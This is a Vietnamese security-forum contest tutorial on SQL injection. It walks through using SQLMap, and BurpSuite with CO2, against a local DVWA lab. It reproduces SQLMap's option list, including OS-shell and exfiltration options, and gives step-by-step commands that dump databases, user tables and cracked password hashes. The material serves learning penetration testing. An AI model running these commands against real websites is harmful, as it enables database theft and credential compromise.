[Kết quả] [KT01] Các công cụ khai thác lỗ hổng SQL Injection trên ứng dụng Web

sunny

VIP Members
30/06/2014
870
1.849 bài viết
[Kết quả] [KT01] Các công cụ khai thác lỗ hổng SQL Injection trên ứng dụng Web

1490893096WhiteHat.jpg



Giải thưởng:Giải nhất: 1.000.000 VNĐ + 01 Thẻ Bkav Pro

A. Về Tác giả

1. Họ và tên : Đỗ Văn Sơn
2. Account WhiteHat Forum : Ddos

B. Nội dung bài dự thi

Mục lục

[HIDE]

I. Giới thiệu về lỗ hổng Web và SQL Injection
1. Sự phát triển và lợi ích của Web

2. Giới thiệu về lỗ hổng Web​
II. Khai thác lỗi SQL Injection với SQLMap
1. Giới thiệu về SQLMap

2. Cài đặt SQLMap
a. Cài đặt SQLMap trên Windows XP/7/8
b. Cài đặt SQLMap trên Linux


3. Hướng dẫn sử dụng SQLMap để khai thác lỗi SQL​

a. Tạo bài Lab với DVWA.
b. Hướng dẫn sử dụng SQLMap để tấn công DVWA
c. Đơn giản việc sử dụng SQLMap với BurpSuite + CO2​
[/HIDE]
I. Giới thiệu về lỗ hổng Web và SQL Injection

1. Sự phát triển và lợi ích của Web

[HIDE]
Trong những ngày đầu trong sự phát triển của Internet, Wordl Wide Web chỉ bao gổm các website. Nó đơn giản chỉ là nguồn lưu trữ các dữ liệu tĩnh (chủ yếu là văn bản dạng text). Và nhiệm vụ của một trình duyệt web đơn giản chỉ là việc yêu cầu và hiển thị các dữ liệu tĩnh này. Ngày nay, World Wide Web không chỉ đơn thuần là lưu trữ các dữ liệu tĩnh nữa, thay vào đó là rất nhiều các chức năng đa dạng hơn (ví dụ: tìm kiếm, giao dịch tài chính, đăng ký và đăng nhập...) Có thể nói, với thế giới của World Wide Web chúng ta có thể làm mọi thứ phục vụ cho cuộc sống của con người. Chính nhờ những lợi ích tuyệt vời này, mà ngày càng có nhiều doanh nghiệp ưu tiên việc áp dụng các ứng dụng web vào việc quản lý, tổ chức và phát triển của doanh nghiệp. Song, bên cạnh những lơi ích này, khi triển khai việc áp dụng công nghệ web vào doanh nghiệp cũng đặt ra một vấn đề lớn cho doanh nghiệp đó là vấn đề bảo mật.[/HIDE]
2. Giới thiệu về lỗ hổng Web

[HIDE]
Trong thực tế, có khá nhiều ứng dụng web không an toàn và phải đối mặt với việc bị khai thác. Dưới đây là một số thống kê về số lượng các lỗ hổng trên ứng dụng web được tìm ra trong giai đoạn 1996-2013, được thống kê bởi IBM.

14899399371.png


Lỗ hổng trên ứng dụng web có thể được chia thành hai phần chính:

• Lỗ hổng trên server: có thể kể tới như lỗ hổng liên quan tới việc xác thực người dùng, lỗ hổng liên quan tới việc quản lý phiên (sesion), lỗ hổng liên quan tới cơ sở dữ liệu....
• Lỗ hổng trên client: có thể kể tới như Cross-site Scripting, On-site Request Forgery....
3. SQL Injection

Một thực tế rằng, gần như tất cả các ứng dụng đều dựa trên việc lưu trữ dữ liệu để quản lý dữ liệu mà nó được xử lý trong một ứng dụng. Trong rất nhiều trường hợp, dữ liệu này có thể là một logic hạt nhân ứng dụng mà nó bao gồm tài khoản người dùng, thiết lập quyền, thiết lập cấu hình ứng dụng...Lưu trữ dữ liệu đã trở nên linh hoạt hơn bằng việc tổ chức dữ liệu trong một định dạng cấu trúc, truy cập bằng cách sử dụng các định dạng truy vấn đã được xác định trước cho từng loại cơ sở dữ liệu, cũng như việc quản lý các dữ liệu này.

Thông thường, ứng dụng sử dụng một cấp độ đặc quyền chung cho tất cả các loại của việc try cập tới lưu trữ dữ liệu cũng như việc xử lý dữ liệu trên các ứng dụng người dùng khác nhau. Nếu kẻ tấn công có thể tác động tới tương tác của ứng dụng với lưu trữ dữ liệu, để ăn cắp hoặc sửa đổi các dữ liệu khác nhau, kẻ tấn công thường vượt qua tất cả cơ chế kiểm soát đối với việc truy cập dữ liệu mà được áp dụng ở tầng ứng dụng.

Hầu hết các ứng dụng web dùng một cơ sở dữ liệu để lưu trữ các thông tin khác nhau mà nó cần để hoạt động. Ví dụ, một ứng dụng web được triển khai bởi một nhà bán lẻ trực tuyến có thể sử dụng một cơ sở dữ liệu để lưu trữ các thông tin như: tài khoản người dùng, danh tính, thông tin các nhân; mô tả và giá của các mặt hàng, thông tin oders, thông tin thanh toán... Việc truy cập thông tin bên trong một cơ sở dữ liệu gọi là Structured Query Language (SQL). SQL được sử dụng để đọc, cập nhật, thêm, và xóa thông tin được tổ chức bên trong cơ sở dữ liệu. SQL là một ngôn ngữ được biên dịch và các ứng dụng web thường xây dựng các câu lệnh SQL mà nó kết hợp với dữ liệu người dùng cung cấp. Nếu điều này được thực hiện một cách không an toàn, các ứng dụng có thể bị SQL injection. Lỗi này là một trong những lỗi trong ứng dụng web nổi tiếng nhất đã ảnh hưởng tới các ứng dụng web. Trong trường hợp nghiêm trọng, SQL injection có thể cho phép kẻ tấn công có thể đọc và thay đổi tất cả dữ liệu được lưu trữ bên trong cơ cở dữ liệu, thâm chí kiểm soát máy chủ mà cơ sở dữ liệu này đang chạy. Hãy thử tưởng tượng, nếu một websites bán hàng trực tuyến, mà kẻ tấn công có thể thay đổi giá của mỗi sản phẩm, hoặc xóa một số mặt hàng trên website thì điều gì sẽ xảy ra? Để thấy được sự nguy hiểm của SQL Injection, các bạn có thể nhìn biểu đồ dưới đây:
14899399371.png



Đây là thống kê 10 lỗ hổng nguy hiểm nhất của ứng dựng web được báo cáo hàng năm bởi owasp.

Nguyên nhân do đâu mà sinh ra SQL Injection:

Các nhà phát triển ứng dụng không thực hiện việc kiểm tra đầu vào khi người dùng đệ trình dữ liệu => Dữ liệu đầu vào của người dùng là một câu lệnh truy vấn của SQL =>Dẫn tới việc dữ liệu này sẽ tương tác với cơ sở dữ liệu và hiển thị những thông tin quan trọng.[/HIDE]
II. Khai thác lỗi SQL Injection với SQLMap1. Giới thiệu về SQLMap

[HIDE]
Hiện nay, có rất nhiều các công cụ được phát hành cho việc tìm kiếm cũng như khai thác lỗi SQL cả miễn phí và tính phí. Các phần mềm tính phí như: Havij SQL Injection, IBM Security AppScan, Acunetix Web Vulnerablitily Scanner,,,,, các phần miễn phí như sqlninja, sqlmap ... Với các phiên bản tính phí, không phải ai trong số chúng ta cũng có thể bỏ tiền ra để mua một trong số các phần mềm trên để học và tìm hiểu còn các phiên bản miễn phí thì lại không hỗ trợ đầy đủ các tính năng quan trọng trong việc khai thác và tìm lỗi. Hình dưới đây là một so sánh nhỏ giữa một phiên bản miễn phí và trả phí của Havij.
14899399372.png



Có thể thấy, phiên bản miễn phí giới hạn khá nhiều tính năng quan trọng. Nhưng thật may mắn, có một công cụ mặc dù miễn phí nhưng hỗ trợ đầy đủ tất cả các tính năng liên quan tới việc khai thác lỗ hổng SQL đó chính là SQLMap.
14899399373.png



Vậy SQLMap là gì?

SQLMap là một công cụ mã nguồn mở và hoàn toàn miễn phí được sử dụng để phát hiện và khai thác lỗi SQL Injection. Nó Có rất nhiều chức năng cho việc tự động các quá trình phát hiện và khai thác (firgerprinting cơ sở dữ liệu, truy cập file hệ thống, thực hiện lệnh...). Tác giả của SQLMap là Bernardo Damele Assumpcao Guimaraes.
Giao diện chính khi sử dụng SQLMap là thao tác dòng lệnh. Để hiển thị tất cả các tùy chọn trong SQLMap bạn có thể dùng lệnh:

Sqlmap –h

Dưới đây là danh sách đầy đủ các tùy chọn trong SQLMap:

Options:

• –version show program’s version number and exit
• -h, –help show this help message and exit
• -v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be specified to set the source to get target urls from
• -d DIRECT Direct connection to the database
• -u URL, –url=URL Target URL
• -l LOGFILE Parse targets from Burp or WebScarab proxy logs
• -m BULKFILE Scan multiple targets enlisted in a given textual file
• -r REQUESTFILE Load HTTP request from a file
• -g GOOGLEDORK Process Google dork results as target URLs
• -c CONFIGFILE Load options from a configuration INI file

Request:

These options can be used to specify how to connect to the target URL.

• –data=DATA Data string to be sent through POST
• –param-del=PDEL Character used for splitting parameter values
• –cookie=COOKIE HTTP Cookie header
• –load-cookies=LOC File containing cookies in Netscape/wget format
• –cookie-urlencode URL Encode generated cookie injections
• –drop-set-cookie Ignore Set-Cookie header from response
• –user-agent=AGENT HTTP User-Agent header
• –random-agent Use randomly selected HTTP User-Agent header
• –randomize=RPARAM Randomly change value for given parameter(s)
• –force-ssl Force usage of SSL/HTTPS requests
• –host=HOST HTTP Host header
• –referer=REFERER HTTP Referer header
• –headers=HEADERS Extra headers (e.g. “Accept-Language: frnETag: 123″)
• –auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
• –auth-cred=ACRED HTTP authentication credentials (name:password)
• –auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
• –proxy=PROXY Use a HTTP proxy to connect to the target url
• –proxy-cred=PCRED HTTP proxy authentication credentials (name:password)
• –ignore-proxy Ignore system default HTTP proxy
• –delay=DELAY Delay in seconds between each HTTP request
• –timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
• –retries=RETRIES Retries when the connection timeouts (default 3)
• –scope=SCOPE Regexp to filter targets from provided proxy log
• –safe-url=SAFURL Url address to visit frequently during testing
• –safe-freq=SAFREQ Test requests between two visits to a given safe url
• –skip-urlencode Skip URL encoding of POST data
• –eval=EVALCODE Evaluate provided Python code before the request (e.g.
o “import hashlib;id2=hashlib.md5(id).hexdigest()”)

Optimization:

These options can be used to optimize the performance of SQLmap.

• -o Turn on all optimization switches
• –predict-output Predict common queries output
• –keep-alive Use persistent HTTP(s) connections
• –null-connection Retrieve page length without actual HTTP response body
• –threads=THREADS Max number of concurrent HTTP(s) requests (default 1)

Injection:

These options can be used to specify which parameters to test for,and provide custom injection payloads and optional tampering scripts

• -p TESTPARAMETER Testable parameter(s)
• –dbms=DBMS Force back-end DBMS to this value
• –os=OS Force back-end DBMS operating system to this value
• –invalid-bignum Use big numbers for invalidating values
• –invalid-logical Use logical operations for invalidating values
• –no-cast Turn off payload casting mechanism
• –prefix=PREFIX Injection payload prefix string
• –suffix=SUFFIX Injection payload suffix string
• –skip=SKIP Skip testing for given parameter(s)
• –tamper=TAMPER Use given script(s) for tampering injection data

Detection:

These options can be used to specify how to parse and compare page content from HTTP responses when using the blind SQL injection technique.
• –level=LEVEL Level of tests to perform (1-5, default 1)
• –risk=RISK Risk of tests to perform (0-3, default 1)
• –string=STRING String to match in the response when query is valid
• –regexp=REGEXP Regexp to match in the response when query is valid
• –code=CODE HTTP response code to match when the query is valid
• –text-only Compare pages based only on the textual content
• –titles Compare pages based only on their titles

Techniques:

These options can be used to tweak testing of specific SQL injection techniques.
• –technique=TECH SQL injection techniques to test for (default “BEUST”)
• –time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
• –union-cols=UCOLS Range of columns to test for UNION query SQL injection
• –union-char=UCHAR Character to use for bruteforcing number of columns
• –dns-domain=DNAME Domain name used for DNS exfiltration attack

Fingerprint:

• –f, –fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.
• -b, –banner Retrieve DBMS banner
• –current-user Retrieve DBMS current user
• –current-db Retrieve DBMS current database
• –is-dba Detect if the DBMS current user is DBA
• –users Enumerate DBMS users
• –passwords Enumerate DBMS users password hashes
• –privileges Enumerate DBMS users privileges
• –roles Enumerate DBMS users roles
• –dbs Enumerate DBMS databases
• –tables Enumerate DBMS database tables
• –columns Enumerate DBMS database table columns
• –schema Enumerate DBMS schema
• –count Retrieve number of entries for table(s)
• –dump Dump DBMS database table entries
• –dump-all Dump all DBMS databases tables entries
• –search Search column(s), table(s) and/or database name(s)
• -D DB DBMS database to enumerate
• -T TBL DBMS database table to enumerate
• -C COL DBMS database table column to enumerate
• -U USER DBMS user to enumerate
• –exclude-sysdbs Exclude DBMS system databases when enumerating tables
• –start=LIMITSTART First query output entry to retrieve
• –stop=LIMITSTOP Last query output entry to retrieve
• –first=FIRSTCHAR First query output word character to retrieve
• –last=LASTCHAR Last query output word character to retrieve
• –sql-query=QUERY SQL statement to be executed
• –sql-shell Prompt for an interactive SQL shell

Brute force:

These options can be used to run brute force checks.

• –common-tables Check existence of common tables
• –common-columns Check existence of common columns
User-defined function injection:
These options can be used to create custom user-defined functions
• –udf-inject Inject custom user-defined functions
• –shared-lib=SHLIB Local path of the shared library

File system access:

These options can be used to access the back-end database management system underlying file system.

• –file-read=RFILE Read a file from the back-end DBMS file system
• –file-write=WFILE Write a local file on the back-end DBMS file system
• –file-dest=DFILE Back-end DBMS absolute filepath to write to

Operating system access:

These options can be used to access the back-end database management system and underlying operating system.

• –os-cmd=OSCMD Execute an operating system command
• –os-shell Prompt for an interactive operating system shell
• –os-pwn Prompt for an out-of-band shell, meterpreter or VNC
• –os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
• –os-bof Stored procedure buffer overflow exploitation
• –priv-esc Database process’ user privilege escalation
• –msf-path=MSFPATH Local path where Metasploit Framework is installed
• –tmp-path=TMPPATH Remote absolute path of temporary files directory

Windows registry access:

These options can be used to access the back-end database management system Windows registry.

• –reg-read Read a Windows registry key value
• –reg-add Write a Windows registry key value data
• –reg-del Delete a Windows registry key value
• –reg-key=REGKEY Windows registry key
• –reg-value=REGVAL Windows registry key value
• –reg-data=REGDATA Windows registry key value data
• –reg-type=REGTYPE Windows registry key value type

General:

These options can be used to set some general working parameters.

• -t TRAFFICFILE Log all HTTP traffic into a textual file
• –batch Never ask for user input, use the default behaviour
• –charset=CHARSET Force character encoding used for data retrieval
• –check-tor Check to see if Tor is used properly
• –crawl=CRAWLDEPTH Crawl the website starting from the target url
• –csv-del=CSVDEL Delimiting character used in CSV output (default “,”)
• –eta Display for each output the estimated time of arrival
• –flush-session Flush session file for current target
• –forms Parse and test forms on target url
• –fresh-queries Ignores query results stored in session file
• –hex Uses DBMS hex function(s) for data retrieval
• –parse-errors Parse and display DBMS error messages from responses
• –replicate Replicate dumped data into a sqlite3 database
• –save Save options to a configuration INI file
• –tor Use Tor anonymity network
• –tor-port=TORPORT Set Tor proxy port other than default
• –tor-type=TORTYPE Set Tor proxy type (HTTP – default, SOCKS4 or SOCKS5)
• –update Update sqlmap

Miscellaneous:

• -z MNEMONICS Use short mnemonics (e.g. “flu,bat,ban,tec=EU”)
• –beep Sound alert when SQL injection found
• –check-payload Offline WAF/IPS/IDS payload detection testing
• –check-waf Check for existence of WAF/IPS/IDS protection
• –cleanup Clean up the DBMS by sqlmap specific UDF and tables
• –dependencies Check for missing sqlmap dependencies
• –disable-hash Disable password hash cracking mechanism
• –disable-like Disable LIKE search of identificator names
• –gpage=GOOGLEPAGE Use Google dork results from specified page number
• –mobile Imitate smartphone through HTTP User-Agent header
• –page-rank Display page rank (PR) for Google dork results
• –purge-output Safely remove all content from output directory
• –smart Conduct through tests only if positive heuristic(s)
• –test-filter=TSTF Select tests by payloads and/or titles (e.g. ROW)
• –wizard Simple wizard interface for beginner users

[*]shutting down at 17:46:04[/HIDE]
2. Cài đặt SQLMap

a. Cài đặt SQLMap trên Windows XP/7/8

[HIDE]
Bước 1: Tải file cài đặt python2.7 và sqlmap
Bước 2: Tiến hành cài đặt python
Mở file python2.7 setup và chọn “Install for all user” sau đó click Next
14899399374.png



Chọn nơi cài đặt (Mặc định là C:python27), sau đó click Next
14899399375.png



Click Next
14899399376.png



Click Finish
1489939937image012.jpg



Bước 3: Giải nén file sqlmap vừa tải sau đó copy toàn bộ thư mục sqlmap vào đường dẫn C:python27
1489939937image013.jpg



Bây giờ, mở cmd và điều hướng tới thư mục vừa lưu sqlmap
1489939937image015.jpg



Tất cả đã hoàn thành, bây giờ có thể sử dụng sqlmap.
1489939937image016.jpg


[/HIDE]
b. Cài đặt SQLMap trên Linux

[HIDE]
Trên Linux, do Python được cài đặt sẵn, vậy nên để sử dụng SQLMap bạn chỉ cần làm bước 3 như trong hướng dẫn với Windows là có thể sử dụng được. Đặc biệt một số phiên bản phân phối của Linux như Kali Linux, BlackBox... đã tích hợp sẵn SQLMap.[/HIDE]
3. Hướng dẫn sử dụng SQLMap để khai thác lỗi SQL

a. Tạo bài Lab với DVWA.

[HIDE]
Damn Vulnerable Web App (DVWA) là một ứng dụng web PHP/MySQL mà có khả năng bị tổn thương. Mục đích chính của DVWA là hỗ trợ cho các học viên, các chuyên gia trong lĩnh vực anh ninh mạng để kiểm tra cũng như nâng cao kỹ năng của họ, và giúp cho các nhà phát triển web hiểu hơn về quá trình của bảo mật ứng dụng web.

Video dưới đây sẽ hướng dẫn việc cài đặt DVWA trên Kali Linux cho mục đích thực hành.
[video=youtube;C6PlSBRiFw4]https://www.youtube.com/watch?v=C6PlSBRiFw4[/video]​



Với Windows, các bạn có thể sử dụng XAMPP cho cài đặt DVWA.[/HIDE]
b. Hướng dẫn sử dụng SQLMap để tấn công DVWA

[HIDE]
Yêu cầu:
• DVWA
• Tamper data
• Bất kỳ một hệ điều hành đã cài đặt SQLMap (Trong trường hợp này là Kali Linux)
Mục tiêu:
• Thống kê username và password trong MYSQL
• Thống kê tất cả các cơ sở dữ liệu
• Thống kê tất cả các tables của các cơ sở dữ liệu
• Thống kê tất cả username và password của một tables
Các bước thực hiện
Bước 1: Mở trình duyệt và truy cập vào DVWA, sau đó cho cấp độ bảo mật là “low”
1489939937image019.png



Bước 2: Chọn SQL Injection
1489939937image021.png



Bước 3: Khởi chạy addon Tamper data
1489939937image023.png



Bước 4: Click Start Tamper
1489939937image025.png



Bước 5: Quay trở lại trình duyệt, điền bất kỳ tham số nào (ở đây là 1), sau đó click Submit
1489939937image027.png



Khi đó, một hội thoại của addon Tamper data sẽ xuất hiện, bạn bỏ check tại dòng Continure Tampering?, sau đó click Submit
1489939937image029.png



Bước 6: Khi bạn nhìn vào addon Tamper data, bạn sẽ nhìn thấy các tham số và addon vừa chụp được. Bạn tìm tới dòng tương ứng với các tham số và bạn đã đệ trình ở trình duyệt web, sau đó, click chọn. Lúc này, bạn sẽ thấy chi tiết về yêu cầu bạn vừa thực hiện (vùng màu đỏ). Có hai tham số bạn cần quan tâm đó là: Referer và Cookie.
1489939937image030.png


Sau đó, bạn mở bất kỳ một phần mềm soản thảo nào để lưu lại các giá trị của hai tham số này.
Bước 7: Mở terminal và nhập lệnh sau:
sqlmap –u "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=d1b8hqpf8vvhlbuehtce03dea5; security=low" –b –current-db –current-user
Trong đó:
• --cookie : để thiết lập giá trị của cookie, trong trường hợp này chúng ta có thể thay đổi low thành medium hoặc high
• -u: xác định URL mục tiêu
• -b: xác định DBMS banner
• --current-db: xác định cơ sở dữ liệu hiện thời
• --current-user: xác định user hiện thời
1489939937image032.png


Sau khi SQLMap hoàn thành, bạn sẽ nhận được kết quả như hình dưới:
1489939937image034.png



Như bạn có thể thấy được một số thông tin như:
• DBMS: MySQL 5.0
• Current user: root
• Current db: dvwa
Bước 8: Tiếp đến, chúng ta cần thống kê tất cả các hash của username và password của DBMS. Để thực hiện việc này, dùng lệnh:
sqlmap –u "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=d1b8hqpf8vvhlbuehtce03dea5; security=low" –string=”Surname” --users –password
Trong đó:
• -string: tring để phù hợp với trang khi truy vấn khả dụng
• --users: thống kê DBMS users
• --password: thống kê DBMS user password hashes
1489939937image036.png



Sau khi SQLMap hoàn thành, bạn sẽ nhận được kết quả như hình dưới:
1489939937image038.png



Trong khi chạy, SQLMap sẽ đưa ra một số tùy chọn cho bạn:
• Bạn có muốn lưu giá trị hash cho việc xử lý sau không?
• Bạn có muốn thực hiện một từ điển tấn công để tìm giá trị hash không?
• Nếu bạn muốn thực hiện từ điển tấn công, SQLMap sẽ sử dụng từ điển mặc định ở trong đường dẫn /usr/share/sqlmap/txt/wordlist.zip . Nếu bạn không muốn sử dụng từ điển này, bạn có thể nhập đường dẫn tới từ điển tấn công khác. Sau đó bấm Enter.
1489939937image040.png



Sau khi quá trình crack hoàn thành, bạn sẽ nhận được kết quả như hình dưới đây:
1489939937image042.png



Bạn sẽ thấy:

Database management system users:


[*]”@’linux’

[*]”@’localhost’

[*]‘phpmyadmin’@’localhost’

[*]‘root’@’localhost’.....

Database management system users password hashes:

• [bn_drual] [1]:

Password hash: *782EDA8F823B4249943114CB04B49FA6AC3FBE
.......
Với các giá trị hash thu được này, bạn có thể sử dụng một số công cụ để crack như cain and able, john the ripper.

Bước 9: Tiếp theo, chúng ta thống kê tất cả các database DBMS, bằng cách dùng lệnh sau:
sqlmap –u "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=d1b8hqpf8vvhlbuehtce03dea5; security=low" --dbs
Trong đó:
• --dbs: thống các databases DMBS
1489939937image044.png



Sau khi kết thúc, chúng ta sẽ thu được như hình dưới đây:
1489939937image046.png



Kết quả thu được:

Available database [14]:

[*]bitnami_drupal7

[*]bitnami_joomla

[*]bitnami_moodle

[*]bitnami_wordpress
• bWAPP
• cdcol
• dvwa
• forum
• infomation_schema
• mysql
• performance_schema
• phpmyadmin
• test

Bước 10 Tiếp đến, chúng ta cần thống kê về dvwa tables, bằng cách dùng lệnh sau:
sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=d1b8hqpf8vvhlbuehtce03dea5; security=low" -D dvwa –tables

Trong đó:

• -D: tên DBMS database để thống kê
• --tables: thống kê DBMS database tables
1489939937image048.png



Sau khi kết thúc, kết quả thu được như hình dưới đây:
1489939937image050.png



Chúng ta thu được kết quả về Database: dvwa
• [2 tables]
- guestbook
- users

Bước 11: Tiếp đến chúng ta cần thu thập thông tin về columns của user tables, bằng cách dùng lệnh:
sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=d1b8hqpf8vvhlbuehtce03dea5; security=low" -D dvwa –T users --columns
Trong đó:
• -T: DBMS database table để thống kê
• --columns: thống kê columns của DBMS database tables
1489939937image052.png



Kết quả thu được như hình dưới đây:
1489939937image054.png



Như chúng ta có thể thấy được thông tin về tables bao gồm các columns: user, avatar, first_name, last_name, password, user_id.
Bước 12: Cuối cùng, chúng ta cần thu lại tất cả các username và pasword của tables này, bằng các dùng lệnh:
sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=d1b8hqpf8vvhlbuehtce03dea5; security=low" -D dvwa –T users –C user,password –dump

Trong đó:

• -T: DBMS database table để thống kê
• -C: DBMS database table columns để thống kê
• --dump: dump các đối tượng trong DBMS database table
1489939937image056.png



Trong quá trình chạy, SQLMap hỏi chúng ta có crack password về dạng clear-text hay không. Bấm Enter để tiếp tục
1489939937image058.png



Sau khi hoàn thành, chúng ta thu được kết quả như hình:
1489939937image060.png



Như chúng ta đã thấy từ kết quả, SQLMap đã đưa ra cả username và password ở dạng hash và dạng clear-text.

Nhận xét:
Mặc dù SQLMap với đầy đủ tính năng như vậy nhưng với việc chỉ có thao tác dòng lệnh sẽ khiến cho những ai không quen với môi trường dòng lệnh sẽ cảm thấy khó để tìm hiểu công cụ này. Để khắc phục vấn đề này, câu trả lời sẽ là BurpSuite + CO2.
[/HIDE]
c. Đơn giản việc sử dụng SQLMap với BurpSuite + CO2

[HIDE]
BurpSuite là một ứng dụng Java được sử dụng trong quá trình thử nghiệm thâm nhập (Penetration Testing).
CO2 là một tiện ích trong BurpSuite nhằm hỗ trợ trong quá trình thử nghiệm thâm nhập được đơn giản và nhanh hơn.
Để chạy BurpSuite trong Windows, chúng ta cần tải Java và cài đặt trên hệ thống. Sau đó tải BurpSuite
Trong hướng dẫn này, mình sử dụng BurpSuite trên Kali Linux.
Bước 1: Khở chạy BurpSuite bằng cách truy cập: Applications => Kali Linux => Top 10 Security Tools => burpsuite
1489939937image062.png



Bước 2: Tiến hành cài đặt tiện ích CO2, bằng cách chọn tab Extender => Bapp Store
1489939937image064.png



Sau khi cài đặt thành công, bạn sẽ thấy một tab CO2 xuất hiện
1489939937image066.png



Bước 3: Trong trình duyệt, bạn truy cập vào dvwa và thay đổi cấp độ bảo mật như hình dưới:
1489939937image068.png



Bước 4: Mở trình duyệt web Firefox, và thay đổi Connection Settings như hình dưới đây:
1489939937image070.png



Bước 5: Trong Burpsuite, thiết lập proxy như hình dưới:
1489939937image072.png



Bước 6: Trở lại trình duyệt web, truy cập dvwa và chọn SQL Injection (Blind)
1489939937image074.png



Bước 7: Nhập bất kỳ tham số vào ô User ID (trong trường hợp này mình nhập 1), sau đó click Submit
1489939937image076.png



Bước 8: Chuyển sang màn hình của Burpsuite, bạn sẽ nhìn thấy tất cả các yêu cầu tới dvwa từ trình duyệt đã được ghi lại.
1489939937image078.png



Bạn chọn dòng mà phù hợp với tham số bạn đã nhập trong trình duyệt, sau đó click chuột phải chọn Send to SQLMapper (Request)
1489939937image080.png



Bước 9: Bạn chọn tab Co2, lúc này bạn có thể nhìn thấy một giao diện bao gồm các tham số giống như các tham số của SQLMap. Bạn muốn thống kê các thông tin về cơ sở dữ liệu bạn chỉ cần đánh dấu vào các ô chứa thông tin tương ứng thì tại ô SQLMap Command sẽ tự động đưa ra lệnh phù hợp với yêu cầu của bạn. Sau đó bạn click chuột phải vào ô này và chọn Copy all.
1489939937image082.png



Bước 10: Bạn chỉ cần mở Terminal và nhập sqlmap sau đó dán tham số bạn vừa copy. Bạn sẽ nhận được như hình sau:
1489939937image084.png



Với tiện ích này, bạn sẽ có nhiều tùy chỉnh hơn cho việc tạo những truy vấn “độc hại” để có thể khám quá ra lỗi SQL Injection. Thông tin thêm các bạn có thể tham khảo video dưới đây về cách sử dụng các tùy chọn cao hơn của tiện ích này.
[video=youtube;mx7pYtYus7I]https://www.youtube.com/watch?v=mx7pYtYus7I[/video]​



[/HIDE]

____________________________________________

Một số thông tin liên quan:

Cuộc thi viết bài Chuyên môn - Kỹ thuật trên WhiteHat Forum
Mời tham gia cuộc thi [KT01] Các công cụ khai thác lỗ hổng SQL Injection trên ứng dụng Web
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
tác giả có thể up lại ảnh không
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Mình đã up lại, bạn xem nhé. Có vấn đề gì thì trao đổi để các bạn thành viên hỗ trợ.
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
testtesttesttest
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Thanks đã up lại.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
DDos tại sao powershell không chạy được sqlmap này a ?
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
DDos tại sao powershell không chạy được sqlmap này a ?
Capture.PNG
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Hackerstudent98;n53285 đã viết:
DDos tại sao powershell không chạy được sqlmap này a ?
1489939937Capture.PNG
Đương nhiên lệnh trên bạn dùng không thể chạy được vì bạn chưa xác định đường dẫn của tập tin thực thi ở đây là python.exe. Lệnh đúng là điều hướng tới đường dẫn của python trong Windows bạn cài rồi dùng lệnh python.exe + đường dẫn của file sqlmap.py hoặc làm ngược lại là điều hướng tới đường dẫn của thư mục sqlmap (bạn đặt) rồi dùng lệnh C:python27Python.exe sqlmap.py -h

P/s: Sao không dùng CMD lại dùng Powershell .... :D
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
DDos;n53290 đã viết:
P/s: Sao không dùng CMD lại dùng Powershell .... :D
Hì em đang học powershell tập tành , có lệnh ls dễ sài , mà Powershell chạy hơi lâu so với CMD , em chuyển qua sài CMD luôn :cool:
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
lưu cái config.inc.php sao a , em đang cài DVWAUntitled.jpg
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Untitled.jpg

@DDos cách nào lưu file config.inc.php trong dvwa
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
